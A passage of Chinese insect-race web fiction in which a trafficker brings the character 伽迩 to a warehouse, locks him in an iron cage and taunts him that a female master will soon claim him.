院落的大门紧闭着,虫贩子轻轻敲了敲门,门后传来一个低沉的声音:“谁?” “是我,带货回来了。”虫贩子回答道。 大门吱嘎一声打开,一个身影出现在门口。 他上下打量了伽迩一眼,然后点了点头,示意他们进去。 伽迩跟着虫贩子走进了院落,发现里面是一个宽敞的仓库。 虫贩子拽着伽迩穿过仓库,来到了一个角落,那里有一个铁笼,和飞船上那群雌虫用的铁笼极其相似。 伽迩被推了进去,很快,笼子被锁上了。 “好好呆着,几天后就有雌主疼爱你了。”虫贩子嘶哑地低声笑着。